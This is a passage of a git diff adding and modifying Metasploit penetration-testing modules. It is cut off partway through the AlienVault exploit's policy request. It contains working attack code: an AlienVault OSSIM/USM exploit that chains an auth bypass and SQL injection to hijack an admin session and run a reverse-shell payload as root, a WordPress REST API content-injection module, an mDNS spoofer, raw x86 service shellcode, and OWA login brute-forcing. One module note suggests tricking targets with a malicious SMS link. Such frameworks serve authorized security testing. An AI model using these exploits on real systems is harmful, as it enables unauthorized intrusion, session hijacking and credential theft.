6ad02d5caf..c3536f9950 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary 'Brandon Knight', 'Pete (Bokojan) Arzamendi', # Outlook 2013 updates 'Nate Power', # HTTP timing option - 'Chapman (R3naissance) Schleiss' # Save username in creds if response is less + 'Chapman (R3naissance) Schleiss', # Save username in creds if response is less + 'Andrew Smith' # valid creds, no mailbox ], 'License' => MSF_LICENSE, 'Actions' => @@ -91,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']) ], self.class) - deregister_options('BLANK_PASSWORDS', 'RHOSTS','PASSWORD','USERNAME') + deregister_options('BLANK_PASSWORDS', 'RHOSTS') end def setup @@ -218,6 +219,19 @@ class MetasploitModule < Msf::Auxiliary end # No password change required moving on. + # Check for valid login but no mailbox setup + if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/ + print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE a mailbox is not setup") + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'owa', + user: user, + password: pass + ) + return :next_user + end + unless location = res.headers['location'] print_error("#{msg} No HTTP redirect. This is not OWA 2013, aborting.") return :abort diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb new file mode 100644 index 0000000000..06629910c0 --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -0,0 +1,217 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress REST API Content Injection', + 'Description' => %q{ + This module exploits a content injection vulnerability in WordPress + versions 4.7 and 4.7.1 via type juggling in the REST API. + }, + 'Author' => [ + 'Marc Montpas', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + ['WPVDB', '8734'], + ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'], + ['URL', 'https://secure.php.net/manual/en/language.types.type-juggling.php'], + ['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'], + ['URL', 'https://developer.wordpress.org/rest-api/reference/posts/'] + ], + 'DisclosureDate' => 'Feb 1 2017', + 'License' => MSF_LICENSE, + 'Actions' => [ + ['LIST', 'Description' => 'List posts'], + ['UPDATE', 'Description' => 'Update post'] + ], + 'DefaultAction' => 'LIST' + )) + + register_options([ + OptInt.new('POST_ID', [false, 'Post ID (0 for all)', 0]), + OptString.new('POST_TITLE', [false, 'Post title']), + OptString.new('POST_CONTENT', [false, 'Post content']), + OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)']) + ]) + + register_advanced_options([ + OptInt.new('PostCount', [false, 'Number of posts to list', 100]), + OptString.new('SearchTerm', [false, 'Search term when listing posts']) + ]) + end + + def check_host(_ip) + if (version = wordpress_version) + version = Gem::Version.new(version) + else + return Exploit::CheckCode::Safe + end + + vprint_status("WordPress #{version}: #{full_uri}") + + if version.between?(Gem::Version.new('4.7'), Gem::Version.new('4.7.1')) + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Detected + end + end + + def run_host(_ip) + if !wordpress_and_online? + print_error("WordPress not detected at #{full_uri}") + return + end + + case action.name + when 'LIST' + do_list + when 'UPDATE' + do_update + end + end + + def do_list + posts_to_list = list_posts + + if posts_to_list.empty? + print_status("No posts found at #{full_uri}") + return + end + + tbl = Rex::Text::Table.new( + 'Header' => "Posts at #{full_uri} (REST API: #{get_rest_api})", + 'Columns' => %w{ID Title URL Password} + ) + + posts_to_list.each do |post| + tbl << [ + post[:id], + Rex::Text.html_decode(post[:title]), + post[:url], + post[:password] ? 'Yes' : 'No' + ] + end + + print_line(tbl.to_s) + end + + def do_update + posts_to_update = [] + + if datastore['POST_ID'] == 0 + posts_to_update = list_posts + else + posts_to_update << {id: datastore['POST_ID']} + end + + if posts_to_update.empty? + print_status("No posts to update at #{full_uri}") + return + end + + posts_to_update.each do |post| + res = update_post(post[:id], + title: datastore['POST_TITLE'], + content: datastore['POST_CONTENT'], + password: datastore['POST_PASSWORD'] + ) + + post_url = full_uri(wordpress_url_post(post[:id])) + + if res && res.code == 200 + print_good("SUCCESS: #{post_url} (Post updated)") + elsif res && (error = res.get_json_document['message']) + print_error("FAILURE: #{post_url} (#{error})") + end + end + end + + def list_posts + posts = [] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(get_rest_api, 'posts'), + 'vars_get' => { + 'per_page' => datastore['PostCount'], + 'search' => datastore['SearchTerm'] + } + }, 3.5) + + if res && res.code == 200 + res.get_json_document.each do |post| + posts << { + id: post['id'], + title: post['title']['rendered'], + url: post['link'], + password: post['content']['protected'] + } + end + elsif res && (error = res.get_json_document['message']) + vprint_error("Failed to list posts: #{error}") + end + + posts + end + + def update_post(id, opts = {}) + payload = {} + + payload[:id] = "#{id}#{Rex::Text.rand_text_alpha(8)}" + payload[:title] = opts[:title] if opts[:title] + payload[:content] = opts[:content] if opts[:content] + payload[:password] = opts[:password] if opts[:password] + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(get_rest_api, 'posts', id), + 'ctype' => 'application/json', + 'data' => payload.to_json + }, 3.5) + end + + def get_rest_api + return @rest_api if @rest_api + + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }, 3.5) + + if res && res.code == 200 + @rest_api = parse_rest_api(res) + end + + @rest_api ||= wordpress_url_rest_api + end + + def parse_rest_api(res) + rest_api = nil + + link = res.headers['Link'] + html = res.get_html_document + + if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$} + rest_api = route_rest_api($1) + vprint_status('REST API found in Link header') + elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href')) + rest_api = route_rest_api(xpath) + vprint_status('REST API found in HTML document') + end + + rest_api + end + + def route_rest_api(rest_api) + normalize_uri(path_from_uri(rest_api), 'wp/v2') + end + +end diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index e521c053fd..ab240e4f75 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -86,7 +86,6 @@ class MetasploitModule < Msf::Auxiliary end rescue ::Rex::ConnectionRefused vprint_status("#{ip}:#{port} - TCP closed") - r << [ip,port,"closed"] rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error rescue ::Rex::Post::Meterpreter::RequestError rescue ::Interrupt diff --git a/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb index 17e877aa08..0e932348c2 100644 --- a/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb +++ b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb @@ -70,7 +70,7 @@ class MetasploitModule < Msf::Auxiliary #grab Canon sessionid cookie idcookie = res.nil? ? nil : res.get_cookies - if res.code == 301 || res.code == 302 && res.headers.include?('Location') + if res && (res.code == 301 || res.code == 302 && res.headers.include?('Location')) print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'") #grab Canon IR= session cookie diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index e10eae5dab..a0e6c3b91f 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -265,6 +265,11 @@ class MetasploitModule < Msf::Auxiliary valid! end + # Override CredentialCollection#has_privates? + def has_privates? + !@key_data.empty? + end + def realm nil end diff --git a/modules/auxiliary/scanner/telnet/telnet_version.rb b/modules/auxiliary/scanner/telnet/telnet_version.rb index 3ec68ab891..55043b4e2e 100644 --- a/modules/auxiliary/scanner/telnet/telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/telnet_version.rb @@ -39,11 +39,15 @@ class MetasploitModule < Msf::Auxiliary print_status("#{ip}:#{rport} TELNET #{banner_santized}") report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_santized) end - rescue ::Rex::ConnectionError - rescue Timeout::Error + rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e + print_error("A network issue has occurred: #{e.message}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + rescue Timeout::Error => e print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") rescue ::Exception => e print_error("#{e} #{e.backtrace}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end end end diff --git a/modules/auxiliary/server/android_browsable_msf_launch.rb b/modules/auxiliary/server/android_browsable_msf_launch.rb index 6763597f09..dbe22bad58 100644 --- a/modules/auxiliary/server/android_browsable_msf_launch.rb +++ b/modules/auxiliary/server/android_browsable_msf_launch.rb @@ -16,6 +16,9 @@ class MetasploitModule < Msf::Auxiliary This module allows you to open an android meterpreter via a browser. An Android meterpreter must be installed as an application beforehand on the target device in order to use this. + + For best results, you can consider using the auxiliary/client/sms/send_text to + trick your target into opening the malicious link, and wake up Meterpreter. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], diff --git a/modules/auxiliary/spoof/mdns/mdns_response.rb b/modules/auxiliary/spoof/mdns/mdns_response.rb new file mode 100644 index 0000000000..ef6cf38f8c --- /dev/null +++ b/modules/auxiliary/spoof/mdns/mdns_response.rb @@ -0,0 +1,253 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'socket' +require 'ipaddr' +require 'net/dns' + +class MetasploitModule < Msf::Auxiliary + +include Msf::Exploit::Capture + +attr_accessor :sock, :thread + + + def initialize + super( + 'Name' => 'mDNS Spoofer', + 'Description' => %q{ + This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex). + }, + 'Author' => [ 'Joe Testa ', 'James Lee ', 'Robin Francois ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://tools.ietf.org/html/rfc6762' ] + ], + + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service' + ) + + register_options([ + OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]), + OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]), + OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']), + OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]), + ]) + + deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') + self.thread = nil + self.sock = nil + end + + def dispatch_request(packet, rhost, src_port) + rhost = ::IPAddr.new(rhost) + + # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped + # addr like "::ffff:192.168.0.1" when the interface we're listening + # on has an IPv6 address. Convert it to just the v4 addr + if rhost.ipv4_mapped? + rhost = rhost.native + end + + # Parse the incoming MDNS packet. Quit if an exception was thrown. + dns_pkt = nil + begin + dns_pkt = ::Net::DNS::Packet.parse(packet) + rescue + return + end + + spoof4 = ::IPAddr.new(datastore['SPOOFIP4']) + spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue '' + + # Turn this packet into an authoritative response. + dns_pkt.header.qr = 1 + dns_pkt.header.aa = 1 + + qm = true + dns_pkt.question.each do |question| + name = question.qName + if datastore['REGEX'] != '.*' + unless name =~ /#{datastore['REGEX']}/i + vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"") + next + end + end + + # Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response. + if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type + qm = false + end + + # qType is not a Integer, so to compare it with `case` we have to + # convert it + responding_with = nil + case question.qType.to_i + when ::Net::DNS::A + dns_pkt.answer << ::Net::DNS::RR::A.new( + :name => name, + :ttl => datastore['TTL'], + :cls => 0x8001, # Class IN, with flush cache flag + :type => ::Net::DNS::A, + :address => spoof4.to_s + ) + responding_with = spoof4.to_s + when ::Net::DNS::AAAA + if spoof6 != '' + dns_pkt.answer << ::Net::DNS::RR::AAAA.new( + :name => name, + :ttl => datastore['TTL'], + :cls => 0x8001, # Class IN, with flush cache flag + :type => ::Net::DNS::AAAA, + :address => spoof6.to_s + ) + responding_with = spoof6.to_s + end + else + # Skip PTR, SRV, etc. records. + next + end + + # If we are responding to this query, and we haven't spammed stdout recently, print a notification. + if not responding_with.nil? and should_print_reply?(name) + print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}") + end + end + + # Clear the questions from the responses. They aren't observed in legit responses. + dns_pkt.question.clear() + + # If we didn't find anything we want to spoof, don't send any + # packets + return if dns_pkt.answer.empty? + + begin + udp = ::PacketFu::UDPHeader.new( + :udp_src => 5353, + :udp_dst => src_port, + :body => dns_pkt.data + ) + rescue + return + end + udp.udp_recalc + + # Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response. + dst = rhost + if rhost.ipv4? + if qm + dst = ::IPAddr.new('224.0.0.251') + end + ip_pkt = ::PacketFu::IPPacket.new( + :ip_src => spoof4.hton, + :ip_dst => dst.hton, + :ip_proto => 0x11, # UDP + :body => udp + ) + elsif rhost.ipv6? + if qm + dst = ::IPAddr.new('ff02::fb') + end + ip_pkt = ::PacketFu::IPv6Packet.new( + :ipv6_src => spoof6.hton, + :ipv6_dst => dst.hton, + :ip_proto => 0x11, # UDP + :body => udp + ) + else + # Should never get here + print_error("IP version is not 4 or 6. Failed to parse?") + return + end + ip_pkt.recalc + + capture_sendto(ip_pkt, rhost.to_s, true) + end + + def monitor_socket + while true + rds = [self.sock] + wds = [] + eds = [self.sock] + + r,_,_ = ::IO.select(rds,wds,eds,0.25) + + if (r != nil and r[0] == self.sock) + packet, host, port = self.sock.recvfrom(65535) + dispatch_request(packet, host, port) + end + end + end + + + # Don't spam with success, just throttle to every 10 seconds + # per host + def should_print_reply?(host) + @notified_times ||= {} + now = Time.now.utc + @notified_times[host] ||= now + last_notified = now - @notified_times[host] + if last_notified == 0 or last_notified > 10 + @notified_times[host] = now + else + false + end + end + + def run + check_pcaprub_loaded() + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround + + # Avoid receiving extraneous traffic on our send socket + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) + + # Multicast Address for LLMNR + multicast_addr = ::IPAddr.new("224.0.0.251") + + # The bind address here will determine which interface we receive + # multicast packets from. If the address is INADDR_ANY, we get them + # from all interfaces, so try to restrict if we can, but fall back + # if we can't + bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0" + + optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton + self.sock = Rex::Socket.create_udp( + # This must be INADDR_ANY to receive multicast packets + 'LocalHost' => "0.0.0.0", + 'LocalPort' => 5353, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) + + self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) { + monitor_socket + } + + print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...") + + add_socket(self.sock) + + self.thread.join + end + + def cleanup + if self.thread and self.thread.alive? + self.thread.kill + self.thread = nil + end + close_pcap + end +end diff --git a/modules/auxiliary/sqli/oracle/droptable_trigger.rb b/modules/auxiliary/sqli/oracle/droptable_trigger.rb index e2e0520df4..e307935ce2 100644 --- a/modules/auxiliary/sqli/oracle/droptable_trigger.rb +++ b/modules/auxiliary/sqli/oracle/droptable_trigger.rb @@ -32,9 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']), OptString.new('USER', [ false, 'The current user. ', 'SCOTT']), - OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']), - OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']), - + OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']) ], self.class) end diff --git a/modules/encoders/x86/service.rb b/modules/encoders/x86/service.rb new file mode 100644 index 0000000000..de2d780d2f --- /dev/null +++ b/modules/encoders/x86/service.rb @@ -0,0 +1,128 @@ +require 'metasm' +require 'msf/core' + +class MetasploitModule < Msf::Encoder + + Rank = ManualRanking + + def initialize + super( + 'Name' => 'Register Service', + 'Version' => '$Revision: 14774 $', + 'Description' => 'Register service if used with psexec for example', + 'Author' => 'agix', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Raw + ) + end + + @@cpu32 = Metasm::Ia32.new + def assemble(src, cpu=@@cpu32) + Metasm::Shellcode.assemble(cpu, src).encode_string + end + + def can_preserve_registers? + true + end + + def modified_registers + [] + end + + def preserves_stack? + true + end + + def string_to_pushes(string) + str = string.dup + # Align string to 4 bytes + rem = (str.length) % 4 + if rem > 0 + str << "\x00" * (4 - rem) + pushes = '' + else + pushes = "h\x00\x00\x00\x00" + end + # string is now 4 bytes aligned with null byte + + # push string to stack, starting at the back + while str.length > 0 + four = 'h'+str.slice!(-4,4) + pushes << four + end + + pushes + end + + def encode_block(state, block) + nb_iter = rand(0x2fffffff)+0xfffffff + + push_registers = '' + pop_registers = '' + if datastore['SaveRegisters'] + datastore['SaveRegisters'].split(" ").each { |reg| + push_registers += assemble("push %s"%reg) + pop_registers = assemble("pop %s"%reg) + pop_registers + } + end + + name = ENV['MSF_SERVICENAME'] + name ||= Rex::Text.rand_text_alpha(8) + pushed_service_name = string_to_pushes(name) + + precode_size = 0xc6 + svcmain_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xcc + hash_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xbf + svcctrlhandler_code_offset = precode_size + pushed_service_name.length + + code_service_stopped = + "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" + + "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" + + "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" + + "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" + + "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5" + + precode_size = 0x42 + shellcode_code_offset = code_service_stopped.length + precode_size + + # code_service could be encoded in the future + code_service = + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + + "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + + "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" + + "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + + "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + + "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" + + "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" + + "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + + "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + + "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" + + "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" + + "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" + + "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" + + "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" + + "\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" + + "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" + + "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" + + "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" + + "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" + + "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" + + "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}" + + return push_registers + code_service + pop_registers + block + end + +end diff --git a/modules/exploits/linux/http/alienvault_exec.rb b/modules/exploits/linux/http/alienvault_exec.rb new file mode 100644 index 0000000000..2b6d83abea --- /dev/null +++ b/modules/exploits/linux/http/alienvault_exec.rb @@ -0,0 +1,322 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::SSH + + def initialize(info={}) + super(update_info(info, + 'Name' => "AlienVault OSSIM/USM Remote Code Execution", + 'Description' => %q{ + This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. + Unauthenticated users can execute arbitrary commands under the context of the root user. + + By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability + which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue + action and policy that enables to execute operating system commands by using captured session token. As a final step, + SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes + operating system command with root user privileges. + + This module was tested against following product and versions: + AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0 + AlienVault OSSIM 5.0.0, 4.6.1 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Peter Lapp', # EDB advisory owner + 'Mehmet Ince ' # Metasploit module + ], + 'References' => + [ + ['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'], + ['EDB', '40682'] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'WfsDelay' => 10, + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => + [ + ['Alienvault USM/OSSIM <= 5.3.0', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Jan 31 2017", + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/']) + ], self.class) + end + + + def check + r = rand_text_alpha(15) + p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}" + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'), + 'headers' => { + 'User-Agent' => 'AV Report Scheduler', + }, + 'vars_get' => { + 'type' => 'alarm', + 'wtype' => 'foo', + 'asset' => 'ALL_ASSETS', + 'height' => 1, + 'value' => p + } + }) + + if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/ + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + + end + + + def exploit + # Hijacking Administrator session by exploiting objection injection vuln that end up with sqli + print_status("Hijacking administrator session") + + sql = "SELECT id FROM sessions LIMIT 1" + p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}" + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'), + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + 'User-Agent' => 'AV Report Scheduler', + }, + 'vars_get' => { + 'type' => 'alarm', + 'wtype' => 'foo', + 'asset' => 'ALL_ASSETS', + 'height' => 1, + 'value' => p + } + }) + if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/ + admin_session = $1 + cookie = "PHPSESSID=#{admin_session}" + print_good("Admin session token : #{cookie}") + else + fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again") + end + + # Creating a Action that contains payload. + print_status("Creating rogue action") + r = rand_text_alpha(15) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'), + 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, + 'vars_post' => { + 'id' => '', + 'action' => 'new', + 'old_name' => '', + 'action_name' => r, + 'ctx' => '', + 'old_descr' => '', + 'descr' => r, + 'action_type' => '2', + 'only' => 'on', + 'cond' => 'True', + 'email_from' => '', + 'email_to' => 'email;email;email', + 'email_subject' => '', + 'email_message' => '', + 'transferred_user' => '', + 'transferred_entity' => '', + 'exec_command' => "python -c \"#{payload.encoded}\"" + } + }) + + if res && res.code == 200 && res.body.include?("Action successfully updated") + print_good("Action created: #{r}") + else + fail_with(Failure::Unknown, "Unable to create action") + end + + # Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint. + # Thus we're using hijacked administrator session. + print_status("Retrieving rogue action id") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"), + 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, + 'vars_get' => { + 'page' => '1', + 'rp' => '2000' + } + }) + + if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/ + action_id = $1 + print_good("Corresponding Action ID found: #{action_id}") + else + fail_with(Failure::Unknown, "Unable to retrieve action id") + end + + # Retrieving the policy data. We will use it while creating policy + print_status("Retrieving policy ctx and group values") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"), + 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, + 'vars_get' => { + 'm_opt' => 'configuration', + 'sm_opt' => 'threat_intelligence', + 'h_opt' => 'policy' + } + }) + + if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/ + policy_ctx = $1 + policy_group = $2 + print_good("CTX Value found: #{policy_ctx}") + print_good("GROUP Value found: #{policy_group}") + else + fail_with(Failure::Unknown, "Unable to retrieve policy data") + end + + # Creating policy that will be trigerred when SSH authentication failed due to wrong password. + print_status("Creating a policy that uses our rogue action") + policy = rand_text_alpha(15) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"), + 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, + 'vars_post' => { + 'descr' => policy, + 'active' => '1', + 'group' => policy_group, + 'ctx' => policy_ctx, + 'order' => '1', + 'action' => 'new', + 'sources[]' => '00000000000000000000000000000000', + 'dests[]' => '00000000000000000000000000000000', + 'portsrc[]' => '0', + 'portdst[]' => '0', + 'plug_type' => '1', + 'plugins[0]' => 'on', + 'taxfilters[]' =>'25@2@0', + 'tax_pt' => '0', + 'tax_cat' => '0', + 'tax_subc' => '0', + 'mboxs[]' => '00000000000000000000000000000000', + 'rep_act' => '0', + 'rep_sev' => '1', + 'rep_rel' => '1', + 'rep_dir' => '0', + 'ev_sev' => '1', + 'ev_rel' => '1', + 'tzone' => 'Europe/Istanbul', + 'date_type' => '1', + 'begin_hour' => '0', + 'begin_minute' => '0', + 'begin_day_week' => '1', + 'begin_day_month' => '1', + 'begin_month' => '1', + 'end_hour' => '23', + 'end_minute' => '59', + 'end_day_week' => 